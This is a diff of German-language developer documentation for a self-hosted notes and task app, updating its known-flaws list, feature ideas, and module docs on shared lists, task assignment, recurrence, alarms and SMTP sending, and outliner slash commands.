- **Problem:** Diese Handler prüfen weder Eigentümer noch Mitgliedschaft. Jeder angemeldete Nutzer kann mit bekannter ID eine fremde Organisation löschen, deren Gruppen auflisten oder dort Gruppen anlegen. Gruppenbezogene Endpunkte (`/teams/{id}…`) prüfen dagegen korrekt auf Gruppen-Admin. Das Datenmodell kennt Organisationen nur noch rudimentär; im UI werden Gruppen direkt über `POST /teams` angelegt (`orgId` Standard `default`).
|
|
||||||
- **Maßnahme:** Organisationen entweder konsequent absichern (Eigentümer/Server-Admin) oder entfernen.
|
|
||||||
|
|
||||||
### FLAW-25: Teilweise ausgeführte Struktur-Aktionen an gesperrten Bullets
|
|
||||||
- **Status: Behoben.** Fremd gesperrte Bullets sind im Editor schreibgeschützt und zeigen, wer sie bearbeitet. Löschen, Zusammenführen, Ein-/Ausrücken und Ziehen werden nicht gestartet, wenn ein beteiligter Bullet (oder einer im Ast) gesperrt ist; stattdessen erscheint ein Hinweis. Ebenso für „Übernehmen“/„Verwerfen“ und Rückgängig. Browser-Test: `e2e/lock.e2e.mjs`.
|
|
||||||
- **Fundstellen:** `handleMergeWithPrevious` und `handleIndentBlock` in [`OutlinerTree.tsx`](../frontend/src/features/workspace/OutlinerTree.tsx); Sperrregeln in `internal/collab` (Verschieben/Löschen gesperrter Blöcke wird abgelehnt).
|
|
||||||
- **Problem:** Eine Editor-Aktion besteht oft aus mehreren Operationen. Ist einer der beteiligten Bullets von jemand anderem gesperrt, lehnt der Server nur diese Operation ab. Beispiel aus dem Browser-Test: Backspace am Zeilenanfang hängt den Text oben an (angewendet), das Löschen des unteren Bullets wird abgelehnt – der Text steht dann doppelt da. Einrücken eines fremd gesperrten Bullets wird ohne Hinweis zurückgenommen. Es geht kein Text verloren.
|
|
||||||
- **Maßnahme (Phase 3):** Gesperrte Bullets im Editor anzeigen und Struktur-Aktionen, die sie berühren, gar nicht erst ausführen.
|
|
||||||
|
|
||||||
### FLAW-26: Fokus-Verzögerung nach Enter
|
|
||||||
- **Status: Behoben.** Neu eingehängte Bullets bekommen den Fokus sofort beim Einhängen. Browser-Test: „Sofort nach Enter Getipptes landet im neuen Bullet“.
|
|
||||||
- **Fundstelle:** `focusBlockInput` in `OutlinerTree.tsx` setzt den Fokus erst im nächsten Animation-Frame.
|
|
||||||
- **Problem:** Zeichen, die innerhalb dieses Frames getippt werden (automatisiert oder sehr schnelles Tippen), landen noch im vorherigen Bullet. Bei fremd gesperrtem Bullet entsteht daraus eine Konfliktkopie.
|
|
||||||
- **Maßnahme:** Fokus nach dem Anlegen synchron setzen (`useLayoutEffect`).
|
|
||||||
|
|
||||||
### FLAW-27: Grenzen nach der Verdichtung
|
|
||||||
- **Status: Bekannt, bewusst so.**
|
|
||||||
- **Fundstellen:** `CompactDocs` in [`internal/storage/docsync.go`](../internal/storage/docsync.go), `reviveAsNewBlock` in [`internal/collab/ops.go`](../internal/collab/ops.go).
|
|
||||||
- **Verhalten:** Nach 30 Tagen sind gelöschte Blöcke endgültig weg. Rückgängig für ein so altes Löschen ist nicht mehr möglich (Hinweis im Editor). Text, der wochenlang offline in einem inzwischen endgültig gelöschten Block getippt wurde, kommt als neuer Block am Ende der Notiz zurück, nicht an der alten Stelle. Wer eine Operation erst nach mehr als 90 Tagen erneut sendet (Antwort ging verloren, Gerät so lange offline), wird nicht mehr als Wiederholung erkannt; Textänderungen erzeugen dann höchstens eine Konfliktkopie, kein stilles Überschreiben.
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Aus der früheren Fassung entfernt
|
## Ideen für Funktionen
|
||||||
|
|
||||||
Die frühere `flaws.md` führte als „gelöst“, was im Code nicht existiert: In-Memory-DocRooms, `clientId`-Echo-Schutz, Cursor-Presence, 1,5-s-Debounce-Flush, `internal/ws/docroom.go`, `frontend/src/lib/useDocumentSync.ts` und Yjs/CRDT. Der Code enthält nur noch `internal/ws/hub.go` (Räume, Benutzer-Kanäle, SSE-Fallback). Die CRDT-Tabellen werden beim Start gelöscht (`DROP TABLE document_crdt_*`). Dokumente werden per REST gespeichert (`PATCH /documents/{id}/blocks`) und als `DOC_BLOCKS_PATCHED` verteilt. Die frühere Aussage zur Token-Versionierung (`token_version`, `revoked_tokens`) trifft dagegen zu und ist in [sharing-and-permissions.md](sharing-and-permissions.md) und [architecture.md](architecture.md) beschrieben.
|
### Erfassen
|
||||||
|
- **Teilen-Ziel der App** (`share_target` im Manifest): Links und Texte aus anderen Apps auf dem Handy direkt in die Inbox teilen.
|
||||||
|
- **Natürliche Zeitangaben** beim Erfassen: „Zahnarzt morgen 14 Uhr“ setzt die Fälligkeit mit Uhrzeit.
|
||||||
|
- **Mail an die Inbox:** eine persönliche Adresse, deren Mails als Gedanken landen.
|
||||||
|
|
||||||
|
### Aufgaben & Erinnerungen
|
||||||
|
- **Web-Push-Benachrichtigungen** für Alarme direkt auf Handy und Desktop, ohne Discord oder E-Mail.
|
||||||
|
- **Alarme auch für Zugewiesene**, nicht nur für den Eigentümer der Aufgabe.
|
||||||
|
- **Zeitzone pro Benutzer** statt einer Server-Zeitzone für alle.
|
||||||
|
- **Kalenderansicht und iCal-Abo** der fälligen Aufgaben (z. B. in Google-/Apple-Kalender).
|
||||||
|
- **Flexiblere Wiederholungen:** „jeden 2. Dienstag“, „am letzten Werktag“, „3 Tage nach Erledigen“.
|
||||||
|
|
||||||
|
### Notizen
|
||||||
|
- **Versionsverlauf ansehen und zurückholen:** das Operations-Log (`doc_ops`) ist vorhanden, eine Ansicht fehlt.
|
||||||
|
- ~~**Bilder und Anhänge** in Notizen.~~ (Umgesetzt in v0.7.0 mit `/image`, `/audio` und Medienablage).
|
||||||
|
- **Vorlagen und Tagesnotiz** (z. B. „Wochenrückblick“, „Heute“).
|
||||||
|
- **Öffentlicher Lese-Link** für einzelne Notizen, mit Ablaufdatum.
|
||||||
|
- **Verlinkungs-Graph** auf Basis der Backlinks.
|
||||||
|
|
||||||
|
### Listen
|
||||||
|
- **Sortierung nach Laden:** Kategorien in der Reihenfolge des eigenen Supermarkts.
|
||||||
|
- **Häufige Einträge vorschlagen** beim Tippen (aus erledigten Einträgen).
|
||||||
|
|
||||||
|
### Konto & Sicherheit
|
||||||
|
- **Zwei-Faktor-Anmeldung** (TOTP) oder **Passkeys**.
|
||||||
|
- **Anmeldung über OIDC** (Authelia, Authentik, Keycloak) für Homelab-Setups.
|
||||||
|
- **Admin-Protokoll:** wer hat wann Konten, Rollen und Einstellungen geändert.
|
||||||
|
|
||||||
|
### Betrieb
|
||||||
|
- **Backups an ein externes Ziel** (WebDAV, S3, SFTP), damit sie eine kaputte Platte überleben.
|
||||||
|
- **`/metrics` für Prometheus** und ein Healthcheck, der auch die Datenbank prüft.
|
||||||
|
- **Update-Hinweis** in der Admin-Oberfläche, wenn ein neues Release-Image verfügbar ist.
|
||||||
@@ -149,7 +149,7 @@ Ein Hintergrundjob (`startCompaction`) läuft beim Start und danach alle 6 Stund
|
|||||||
| Idempotenz-Ergebnisse | 90 Tage |
|
| Idempotenz-Ergebnisse | 90 Tage |
|
||||||
| Leases und Sitzungen im Speicher | abgelaufene werden entfernt |
|
| Leases und Sitzungen im Speicher | abgelaufene werden entfernt |
|
||||||
|
|
||||||
Clients hinter der Grenze laden den Snapshot neu und behalten ihre Warteschlange. Grenzen dieses Vorgehens: [FLAW-27](../flaws.md).
|
Clients hinter der Grenze laden den Snapshot neu und behalten ihre Warteschlange. Grenzen dieses Vorgehens: Nach 30 Tagen sind gelöschte Blöcke endgültig weg, Rückgängig ist dann nicht mehr möglich. Text, der so lange offline in einem inzwischen gelöschten Block getippt wurde, kommt als neuer Block ans Ende der Notiz. Wer eine Operation erst nach mehr als 90 Tagen erneut sendet, wird nicht mehr als Wiederholung erkannt; Textänderungen erzeugen dann höchstens eine Konfliktkopie.
|
||||||
|
|
||||||
## Tests
|
## Tests
|
||||||
|
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ Einkaufs-, Pack- und Checklisten für gemeinsames Arbeiten. Code: [SharedListsVi
|
|||||||
## Datenmodell
|
## Datenmodell
|
||||||
|
|
||||||
- `lists`: Eigentümer, `title`, `icon`, `list_type` (`shopping`, `checklist`, `vacation`).
|
- `lists`: Eigentümer, `title`, `icon`, `list_type` (`shopping`, `checklist`, `vacation`).
|
||||||
- `list_items`: `content`, `category`, `quantity`, `is_completed`, `completed_by(_name)`, `sort_order`.
|
- `list_items`: `content`, `category`, `quantity`, `is_completed`, `completed_by(_name)`, `created_by`, `sort_order`.
|
||||||
- `list_shares`: Ziel (Benutzer oder Gruppe) und Rolle `editor` oder `viewer`.
|
- `list_shares`: Ziel (Benutzer oder Gruppe) und Rolle `editor` oder `viewer`.
|
||||||
|
|
||||||
## Funktionen
|
## Funktionen
|
||||||
@@ -16,4 +16,6 @@ Einkaufs-, Pack- und Checklisten für gemeinsames Arbeiten. Code: [SharedListsVi
|
|||||||
- **Abhaken** speichert, wer und wann; Erledigte stehen in einem eigenen Bereich und lassen sich per „Erledigte entfernen“ löschen (`clear-completed`).
|
- **Abhaken** speichert, wer und wann; Erledigte stehen in einem eigenen Bereich und lassen sich per „Erledigte entfernen“ löschen (`clear-completed`).
|
||||||
- **Freigabe** über den Dialog `UnifiedShareModal` (Bearbeiten oder Nur Lesen). Ein Leser sieht Änderungen live, ändert aber nichts.
|
- **Freigabe** über den Dialog `UnifiedShareModal` (Bearbeiten oder Nur Lesen). Ein Leser sieht Änderungen live, ändert aber nichts.
|
||||||
- **Live-Sync:** Ereignisse `ITEM_*` und `LIST_*` im Raum der Liste ([websocket.md](../api/websocket.md)). Abhaken erscheint bei allen Beteiligten sofort.
|
- **Live-Sync:** Ereignisse `ITEM_*` und `LIST_*` im Raum der Liste ([websocket.md](../api/websocket.md)). Abhaken erscheint bei allen Beteiligten sofort.
|
||||||
|
- **Wer hat's hinzugefügt:** In geteilten Listen zeigt jeder Eintrag ein kleines Profilbild der Person, die ihn angelegt hat (`createdBy`, `createdByName`). Einträge von vor dieser Funktion haben keinen Autor und zeigen nichts.
|
||||||
|
- **Tabs** zeigen offene Einträge als runden Zähler und die Personen mit Zugriff als Profilbild-Stapel ([ui-patterns.md](../ui-patterns.md)); die API liefert sie je Liste als `members`.
|
||||||
- Aus der Triage lassen sich Gedanken direkt als Eintrag in eine Liste übernehmen.
|
- Aus der Triage lassen sich Gedanken direkt als Eintrag in eine Liste übernehmen.
|
||||||
@@ -4,13 +4,13 @@ Code: [TasksView.tsx](../../frontend/src/features/triage/TasksView.tsx), [TaskDe
|
|||||||
|
|
||||||
## Datenmodell
|
## Datenmodell
|
||||||
|
|
||||||
Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus`, `priority` (`low`/`normal`/`high`/`urgent`), `dueDate` (nur Datum), `notes` (Markdown), `subtasks` (`[{id, title, isCompleted}]`), `tags`, `taskListId` und `sortOrder`. Aufgaben ohne Liste sind persönlich.
|
Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus`, `priority` (`low`/`normal`/`high`/`urgent`), `dueDate` (`YYYY-MM-DD` oder mit Uhrzeit `YYYY-MM-DDTHH:MM`; die API nimmt auch `YYYY-MM-DD HH:MM` an), `notes` (Markdown), `subtasks` (`[{id, title, isCompleted}]`), `tags`, `taskListId`, `sortOrder` und `assignees` (Benutzer-IDs). Aufgaben ohne Liste sind persönlich.
|
||||||
|
|
||||||
## Ansichten
|
## Ansichten
|
||||||
|
|
||||||
- **Liste** mit Filtern (offen, erledigt, Papierkorb), Gruppierung (z. B. nach Status oder Fälligkeit), Sortierung und Hashtag-Filter.
|
- **Liste** mit Filtern (offen, erledigt, Papierkorb), Gruppierung (z. B. nach Status oder Fälligkeit), Sortierung und Hashtag-Filter.
|
||||||
- **Kanban:** Spalten pro Liste frei konfigurierbar (Name, Farbe, „Erledigt“-Spalte). Standard: *Zu erledigen*, *In Bearbeitung*, *Wartet auf andere*, *Erledigt*. Eine Karte in eine „Erledigt“-Spalte zu ziehen setzt `isCompleted`.
|
- **Kanban:** Spalten pro Liste frei konfigurierbar (Name, Farbe, „Erledigt“-Spalte). Standard: *Zu erledigen*, *In Bearbeitung*, *Wartet auf andere*, *Erledigt*. Eine Karte in eine „Erledigt“-Spalte zu ziehen setzt `isCompleted`.
|
||||||
- Drag & Drop sortiert in der Liste und zwischen Spalten; ein Klick öffnet das Detail-Fenster (Titel, Status, Priorität, Fälligkeit mit Schnellwahl, Liste, Hashtags, Unteraufgaben mit Fortschrittsbalken, Notizen).
|
- Drag & Drop sortiert in der Liste und zwischen Spalten; ein Klick öffnet das Detail-Fenster (Titel, Status, Priorität, Fälligkeit mit optionaler Uhrzeit und Schnellwahl, Liste, Hashtags, Unteraufgaben mit Fortschrittsbalken, Notizen).
|
||||||
- Aufgaben lassen sich in eine Notiz umwandeln („Als Notiz vertiefen“). Aufgaben aus Notiz-Checkboxen (`enhanced-task`) bleiben verknüpft: Abhaken wirkt in beide Richtungen (`SyncDocBlockAndTask`), „In Notiz öffnen“ springt zum Block.
|
- Aufgaben lassen sich in eine Notiz umwandeln („Als Notiz vertiefen“). Aufgaben aus Notiz-Checkboxen (`enhanced-task`) bleiben verknüpft: Abhaken wirkt in beide Richtungen (`SyncDocBlockAndTask`), „In Notiz öffnen“ springt zum Block.
|
||||||
|
|
||||||
## Aufgabenlisten und Freigabe
|
## Aufgabenlisten und Freigabe
|
||||||
@@ -21,18 +21,42 @@ Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus
|
|||||||
- **Leser:** sieht alles, kann nichts ändern. Der Server antwortet mit `403`; die Oberfläche blendet Eingaben aus und zeigt „Nur Lesen“.
|
- **Leser:** sieht alles, kann nichts ändern. Der Server antwortet mit `403`; die Oberfläche blendet Eingaben aus und zeigt „Nur Lesen“.
|
||||||
- Gruppenmitglieder mit mehreren Wegen erhalten die höchste Stufe. Nur der Eigentümer legt Freigaben an oder entfernt sie und kann die Liste löschen.
|
- Gruppenmitglieder mit mehreren Wegen erhalten die höchste Stufe. Nur der Eigentümer legt Freigaben an oder entfernt sie und kann die Liste löschen.
|
||||||
- Umsetzung: `Store.GetTaskListPermission` liefert `owner`/`editor`/`viewer`/`""`; `ensureTaskListWritable` schützt Schreibpfade.
|
- Umsetzung: `Store.GetTaskListPermission` liefert `owner`/`editor`/`viewer`/`""`; `ensureTaskListWritable` schützt Schreibpfade.
|
||||||
- Bekannte Lücken: [FLAW-03](../flaws.md) (Umsortieren per ID), [FLAW-06](../flaws.md) (Editor kann weiterteilen).
|
- **Zuweisen** (nur in geteilten Listen, also mit mindestens einer Person außer dem Eigentümer): Im Detail-Fenster unter „Zugewiesen“ lassen sich eine oder mehrere Personen mit Zugriff auf die Liste zuweisen, über die einheitliche Personensuche ([ui-patterns.md](../ui-patterns.md)). Zuweisen dürfen Eigentümer und Bearbeiter. Zeilen und Kanban-Karten zeigen die Zugewiesenen als Profilbild-Stapel.
|
||||||
|
- Gespeichert in `task_assignees`; `PATCH /thoughts/{id}` mit `assignees` ersetzt die Liste. Der Server lehnt Personen ohne Zugriff ab (`403`, `storage.ErrAssigneeNoAccess`).
|
||||||
|
- **Zuweisungen folgen den Rechten:** `Store.PruneTaskAssignees` entfernt jede Zuweisung, deren Person die Liste nicht mehr sehen kann. Es läuft nach Entfernen einer Freigabe, Austritt aus oder Entfernen aus einer Gruppe, Löschen einer Gruppe, Löschen der Liste und Verschieben der Aufgabe in eine andere oder keine Liste; beim Löschen eines Kontos werden dessen Zuweisungen direkt gelöscht. Wer über einen zweiten Weg (z. B. direkt und über eine Gruppe) weiter Zugriff hat, bleibt zugewiesen.
|
||||||
|
- Wer sehen und zuweisen kann, hängt außerdem von der Sichtbarkeit ab: Verliert jemand sie (z. B. Wechsel der Organisation), fallen Freigabe und Zuweisungen weg ([sharing-and-permissions.md](../sharing-and-permissions.md)).
|
||||||
|
- **Aufgaben beobachten (`task_watchers`):** Im Detail-Fenster lässt sich eine Aufgabe über „Beobachten“ abonnieren (`POST /tasks/{id}/watch`, `DELETE /tasks/{id}/watch`). Jede Änderung an einer beobachteten Aufgabe wird dem Beobachter über seine konfigurierten Benachrichtigungskanäle gemeldet.
|
||||||
|
|
||||||
|
## Wiederkehrende Aufgaben
|
||||||
|
|
||||||
|
- Im Detail-Fenster unter der Fälligkeit: *Keine Wiederholung*, täglich, wöchentlich, monatlich oder jährlich (`thoughts.recurrence`, `PATCH /thoughts/{id}` mit `recurrence`). Zeilen und Kanban-Karten zeigen dann ein 🔁-Symbol.
|
||||||
|
- **Abhaken erzeugt die nächste Aufgabe** ([recurrence.go](../../internal/storage/recurrence.go)): egal ob im Detail, in der Liste, per Ziehen in „Erledigt“ im Kanban oder über die Checkbox in einer Notiz. Die erledigte Aufgabe bleibt erledigt (Historie); die neue übernimmt Titel, Tags, Priorität, Notizen, Liste, Zuweisungen und die Regel, Unteraufgaben kommen unerledigt mit, sie steht in der ersten offenen Spalte.
|
||||||
|
- **Fälligkeit:** das bisherige Datum plus ein Intervall (ohne Datum ab heute); eine Uhrzeit bleibt erhalten. Monate und Jahre behalten den Tag oder rutschen auf das Monatsende (31.1. → 28./29.2.).
|
||||||
|
- Jede Aufgabe erzeugt höchstens eine Nachfolgerin (`recurrence_spawned`): Wieder öffnen und erneut abhaken legt keine zweite an.
|
||||||
|
- Die neue Aufgabe geht per `TASK_CREATED` an alle Beteiligten, sie erscheint ohne Neuladen.
|
||||||
|
- Export/Import: im Markdown-Archiv als `🔁 every week` (Format des Obsidian-Tasks-Plugins), im JSON-Backup als Feld; beides wird beim Import wiederhergestellt.
|
||||||
|
|
||||||
## Alarme
|
## Alarme
|
||||||
|
|
||||||
Der Ticker läuft jede Minute ([architecture.md](../architecture.md)). Für offene Aufgaben mit `due_date <= heute` und `alarm_sent = 0` sendet er an die Kanäle des Aufgaben-**Eigentümers**:
|
Der Ticker läuft jede Minute ([architecture.md](../architecture.md)). Für offene Aufgaben mit `alarm_sent = 0` sendet er, sobald der Alarmzeitpunkt erreicht ist (Uhrzeit der Fälligkeit, ganztägig 9:00, jeweils minus `notifyBeforeMinutes`, Zeitzone `TZ`), an die Kanäle des Aufgaben-**Eigentümers**:
|
||||||
|
|
||||||
| Kanal | Ziel | Konfiguration |
|
| Kanal | Ziel | Konfiguration |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| E-Mail | `alarmEmail` (sonst Konto-Adresse) | SMTP aus Admin-Einstellungen oder Umgebung (Port 465 mit TLS wird direkt unterstützt, sonst STARTTLS über `smtp.SendMail`) |
|
| E-Mail | `alarmEmail` (sonst Konto-Adresse) | SMTP aus Admin-Einstellungen oder Umgebung, siehe unten |
|
||||||
| Discord | Webhook-URL | Benutzereinstellungen |
|
| Discord | Webhook-URL | Benutzereinstellungen |
|
||||||
| Webhook | beliebige URL (JSON: `event`, `title`, `notes`, `dueDate`, `priority`, `timestamp`) | Benutzereinstellungen |
|
| Webhook | beliebige URL (JSON: `event`, `title`, `notes`, `dueDate`, `priority`, `timestamp`) | Benutzereinstellungen |
|
||||||
|
|
||||||
Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich war.
|
Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich war. Neben Fälligkeits-Alarmen (die sofort versendet werden) unterstützt MindSift granulare Benachrichtigungen für Freigaben, erledigte geteilte Aufgaben und beobachtete Aufgaben, die über `notification_queue` gebündelt nach `NOTIFY_DIGEST_MINUTES` versendet werden ([architecture.md](../architecture.md#benachrichtigungen)).
|
||||||
|
|
||||||
Einschränkungen ([FLAW-12](../flaws.md)): Fälligkeiten haben keine Uhrzeit, `notifyBeforeMinutes` wird ignoriert, die Serverzeit gilt, und ein verschobener Termin löst nicht erneut aus. URLs werden nicht geprüft ([FLAW-05](../flaws.md)).
|
**E-Mail-Versand** ([mail.go](../../internal/api/mail.go)) führt den SMTP-Dialog Schritt für Schritt:
|
||||||
|
|
||||||
|
- Verbindung (Port 465: TLS von Anfang an), `EHLO` mit der Domain der Absenderadresse (nie `localhost`, das lehnen strenge Server ab), bei `SMTP_TLS` Pflicht-STARTTLS, Anmeldung, `MAIL FROM`, `RCPT TO`, Daten.
|
||||||
|
- Anmeldung: `AUTH PLAIN`; bietet der Server nur `LOGIN` an, direkt `AUTH LOGIN`. Lehnt er PLAIN ab und bietet auch LOGIN an, baut MindSift die Verbindung neu auf und versucht `AUTH LOGIN` (Go schließt die Verbindung nach einem gescheiterten AUTH). Scheitern beide mit `451`, nennt die Meldung beide Versuche und verweist auf das SASL-Backend des Mailservers (z. B. Dovecot-Auth), denn dann liegt der Fehler dort. Nie unverschlüsselt an fremde Hosts.
|
||||||
|
- `SMTP_FROM` darf einen Namen enthalten (`MindSift <alarm@domain>`): im Umschlag steht nur die Adresse, im Header Name und Adresse.
|
||||||
|
- Die Nachricht hat `Date` und `Message-ID`, einen nach RFC 2047 kodierten Betreff (Umlaute, Emoji) und einen Quoted-Printable-Text.
|
||||||
|
- `SMTP_SKIP_VERIFY` / Schalter „Zertifikatsprüfung deaktivieren“ akzeptiert selbstsignierte Zertifikate (Verbindung bleibt verschlüsselt).
|
||||||
|
- Fehler nennen den Schritt, an dem der Server abgelehnt hat (z. B. `SMTP-Schritt RCPT TO fehlgeschlagen: 451 …`), im Log als `smtp_step`. Test: `internal/api/mail_test.go` mit einem Fake-Server (STARTTLS, 451).
|
||||||
|
|
||||||
|
Eine neue Fälligkeit oder das Wiederöffnen einer Aufgabe setzt `alarm_sent` zurück, der Alarm kommt dann erneut. Schlagen alle Kanäle fehl, versucht der Ticker es in den nächsten Minuten erneut und gibt nach 3 erfolglosen Durchläufen auf (`alarm_failures`, Warnung im Server-Log); eine neue Fälligkeit oder das Wiederöffnen gibt wieder 3 Versuche. URLs werden geprüft.
|
||||||
|
|
||||||
|
Die Oberfläche zeigt Fälligkeiten relativ („Heute, 14:30“, „Morgen“, „Fr., 30.10.“); überfällige offene Aufgaben (mit Uhrzeit minutengenau) sind rot. Gruppieren und Sortieren nach Fälligkeit berücksichtigen die Uhrzeit, ganztägige Aufgaben stehen vor denen mit Uhrzeit am selben Tag.
|
||||||
@@ -6,7 +6,7 @@ Ziel: Gedanken in Sekunden festhalten und später in Ruhe sortieren. Code: [Inst
|
|||||||
|
|
||||||
- Die Eingabeleiste sitzt im Header; `C` oder `/` fokussiert sie (außer beim Tippen in einem Feld).
|
- Die Eingabeleiste sitzt im Header; `C` oder `/` fokussiert sie (außer beim Tippen in einem Feld).
|
||||||
- Ziel (`target`): **Posteingang** (`inbox`, Standard), **Direkt-Aufgabe** (`task`), **Listeneintrag** (`list_item`, mit Zielliste) oder **Direkt-Notiz** (`document`).
|
- Ziel (`target`): **Posteingang** (`inbox`, Standard), **Direkt-Aufgabe** (`task`), **Listeneintrag** (`list_item`, mit Zielliste) oder **Direkt-Notiz** (`document`).
|
||||||
- Mehrzeilige Eingabe wird unterstützt. Spracheingabe nutzt die Web Speech API des Browsers; Quelle `voice` fügt den Tag `#diktat` an.
|
- Mehrzeilige Eingabe wird unterstützt. Spracheingabe nutzt `useVoiceInput` (Whisper-Server oder Spracherkennung des Browsers); Quelle `voice` fügt den Tag `#diktat` an.
|
||||||
- Quelle `webhook` (per API-Key/Webhook) fügt den Tag `#webhook` an. Hashtags im Text werden als Tags extrahiert (`domain.ExtractTags`).
|
- Quelle `webhook` (per API-Key/Webhook) fügt den Tag `#webhook` an. Hashtags im Text werden als Tags extrahiert (`domain.ExtractTags`).
|
||||||
- Per API: `POST /inbox` und `POST /webhooks/ingest` (siehe [rest.md](../api/rest.md)).
|
- Per API: `POST /inbox` und `POST /webhooks/ingest` (siehe [rest.md](../api/rest.md)).
|
||||||
|
|
||||||
|
|||||||
@@ -1,11 +1,12 @@
|
|||||||
# Modul: Workspace (Outliner-Notizen)
|
# Modul: Workspace (Outliner-Notizen)
|
||||||
|
|
||||||
Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.tsx) (Explorer, Tags, To-Do-Rollup), [DocumentEditor.tsx](../../frontend/src/features/workspace/DocumentEditor.tsx), [OutlinerTree.tsx](../../frontend/src/features/workspace/OutlinerTree.tsx), [OutlinerBlock.tsx](../../frontend/src/features/workspace/OutlinerBlock.tsx), [CodeBlockItem.tsx](../../frontend/src/features/workspace/CodeBlockItem.tsx), [LinkModal.tsx](../../frontend/src/features/workspace/LinkModal.tsx); Backend: Dokument-, Ordner- und Tag-Handler, Sync-Handler in `internal/api/docsync.go`, `internal/collab`, `internal/storage/docsync.go`.
|
Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.tsx) (Explorer, Tags, To-Do-Rollup), [DocumentEditor.tsx](../../frontend/src/features/workspace/DocumentEditor.tsx), [OutlinerTree.tsx](../../frontend/src/features/workspace/OutlinerTree.tsx), [OutlinerBlock.tsx](../../frontend/src/features/workspace/OutlinerBlock.tsx), [CodeBlockEditor.tsx](../../frontend/src/features/workspace/CodeBlockEditor.tsx), [LinkModal.tsx](../../frontend/src/features/workspace/LinkModal.tsx); Backend: Dokument-, Ordner- und Tag-Handler, Sync-Handler in `internal/api/docsync.go`, `internal/collab`, `internal/storage/docsync.go`.
|
||||||
|
|
||||||
## Datenhaltung
|
## Datenhaltung
|
||||||
|
|
||||||
- Eine Notiz ist ein Datensatz in `documents` plus ein Baum von Blöcken in `blocks` (`parent_id`, Sortierschlüssel `order_key`). Jede Änderung läuft über `internal/collab` und wird im Log `doc_ops` festgehalten. Ebene und Position für die Oberfläche berechnet der Server beim Lesen. Das Log und gelöschte Blöcke werden regelmäßig verdichtet ([database.md](../database.md#verdichtung-des-notiz-logs)). Alles liegt in SQLite; es gibt keine Dateien auf der Platte.
|
- Eine Notiz ist ein Datensatz in `documents` plus ein Baum von Blöcken in `blocks` (`parent_id`, Sortierschlüssel `order_key`). Jede Änderung läuft über `internal/collab` und wird im Log `doc_ops` festgehalten. Ebene und Position für die Oberfläche berechnet der Server beim Lesen. Das Log und gelöschte Blöcke werden regelmäßig verdichtet ([database.md](../database.md#verdichtung-des-notiz-logs)). Alles liegt in SQLite; es gibt keine Dateien auf der Platte.
|
||||||
- Bei jeder Änderung wird `documents.markdown_cache` neu erzeugt; `block_tags` wird aus `#Hashtags` der Blöcke neu aufgebaut.
|
- Bei jeder Änderung wird `documents.markdown_cache` neu erzeugt; `block_tags` wird aus `#Hashtags` der Blöcke neu aufgebaut.
|
||||||
|
- **Hashtag-Regel:** `#wort` zählt nur am Textanfang oder nach Leerzeichen bzw. `(`. Anker in Links (`example.com/blog#ueberschrift`) und Wörter wie `C#` sind keine Tags. Gleiche Regel im Server (`domain.ExtractTags`) und im Browser (`lib/hashtags.ts`). Beim ersten Start nach der Umstellung entfernt `migrateAnchorTags` einmalig gespeicherte Tags, die nur aus Ankern stammten.
|
||||||
- Der Export als `.md` erfolgt im Browser (Button im Editor, Blob-Download).
|
- Der Export als `.md` erfolgt im Browser (Button im Editor, Blob-Download).
|
||||||
- Blocktypen: Überschriften `h1`–`h3`, `paragraph`/`text`, `bullet`, `todo`, `code`, `callout`, `divider`, `table`, `progress`.
|
- Blocktypen: Überschriften `h1`–`h3`, `paragraph`/`text`, `bullet`, `todo`, `code`, `callout`, `divider`, `table`, `progress`.
|
||||||
|
|
||||||
@@ -14,7 +15,11 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
|
|||||||
- **Outliner:** `Enter` neuer Block, `Tab`/`Shift+Tab` ein-/ausrücken, `Shift+Enter` weicher Umbruch, Blöcke ein-/ausklappen.
|
- **Outliner:** `Enter` neuer Block, `Tab`/`Shift+Tab` ein-/ausrücken, `Shift+Enter` weicher Umbruch, Blöcke ein-/ausklappen.
|
||||||
- **Zoom (Hoisting):** Klick auf den Bullet fokussiert den Ast; die Breadcrumb-Leiste führt zurück.
|
- **Zoom (Hoisting):** Klick auf den Bullet fokussiert den Ast; die Breadcrumb-Leiste führt zurück.
|
||||||
- **Drag & Drop** verschiebt Blöcke samt Unterästen; auf einen anderen Block gezogen, wird der Block zum Unterpunkt.
|
- **Drag & Drop** verschiebt Blöcke samt Unterästen; auf einen anderen Block gezogen, wird der Block zum Unterpunkt.
|
||||||
- **Slash-Befehle:** `/todo`, `/link`, `/h1`, `/h2`, `/h3`, `/code`, `/callout`, `/divider` (Liste in `OutlinerBlock.tsx`).
|
- **Slash-Befehle:** `/todo`, `/link`, `/h1`, `/h2`, `/h3`, `/code` (mit Syntax-Highlighting im VS-Code-Stil), `/callout`, `/divider`, `/extract` (Ast als eigene Notiz auslagern), `/image` (Bilder einfügen/hochladen, Aliase `/bild`, `/foto`), `/audio` (Sprachnotiz/Audiodatei, Alias `/sprachnotiz`), `/diktat` (Spracheingabe mit Live-Mitschreiben, Alias `/dictate`) (Liste in `OutlinerBlock.tsx`). Das Menü öffnet sich nur am Textanfang oder nach einem Leerzeichen und schließt mit `Esc` oder `Backspace`.
|
||||||
|
- **Link-Vorschau:** Besteht ein Bulletpoint ausschließlich aus einer einzelnen `https`-Adresse (oder wurde über `/link` in einem leeren Punkt eingefügt), zeigt MindSift darüber eine interaktive Vorschaukarte (`LinkPreviewCard`, serverseitig via `/link-preview`). ✕ blendet die Karte aus und wandelt die Adresse synchronisiert in `[Titel](url)` um.
|
||||||
|
- **Ast auslagern (`/extract`):** Wandelt den aktuellen Punkt samt Unterpunkten in eine eigenständige Notiz im selben Ordner um. Der Server legt die Notiz an und liefert den Link zurück; der Editor ersetzt den Ast lokal über die Sync-Engine als eigene Operation (Strg+Z nimmt die Auslagerung zurück und legt die neue Notiz via `POST /documents/{id}/extract/undo` in den Papierkorb).
|
||||||
|
